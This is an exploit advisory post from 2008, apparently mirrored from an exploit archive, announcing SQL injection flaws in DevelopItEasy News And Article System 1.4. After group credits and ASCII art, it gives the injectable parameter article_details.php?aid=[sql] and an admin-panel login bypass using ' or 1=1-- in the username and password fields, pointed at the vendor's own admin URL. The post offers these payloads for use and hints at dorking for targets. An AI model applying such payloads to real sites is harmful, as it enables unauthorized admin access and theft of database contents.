[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : DevelopItEasy News And Article System 1.4 SQL Injection Vulns
# Published : 2008-11-06
# Author : InjEctOr5
# Previous Title : DevelopItEasy Events Calendar 1.2 Multiple SQL Injection Vulnerabilities
# Next Title : DevelopItEasy Membership System 1.3 (Auth Bypass) SQL Injection
|| || | ||
o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
( : / (_) / ( .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
| _ __ __ __ ______ |
| /' __ /'__` / __ /'__` / ___ |
| /_, ___ /_/_L ___ ,_/ / _ __ __/ |
| /_/ /' _ ` / /_/__<_ /'___ / /`'__ ___`` |
| / / / L / __/ _ _ / / L |
| _ _ __ ____/ ____\ __\ ____/ _ ____/ |
| /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ /___/ |
| ____/ >> Kings of injection |
| /___/ |
| |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
<<!>> Found by : Cyb3r-1sT
<<!>> C0ntact : cyb3r-1st [at] hotmail.com
<<!>> Groups : InjEctOr5 T3am
<<!>> site : www.tryag.cc/cc
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
<<->> script : News And Article System v1.4
<<->> script site : www.developiteasy.com/news-and-article-system-v1.4-p-63.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> D0rk : find it
<<->> Exploit <<->>
>>>> www.site.com/article_details.php?aid=[sql]
<<->> Exploit <<->> bypass <<->> in admin panel
>>>> www.developiteasy.com/article_system/admin
>>> user : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )
>>> pass : cyb3r-1st ' or ' 1=1-- ( or u can use ' or 1=1-- )
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
<<->> All freinds and all muslims
# www.Syue.com [2008-11-06]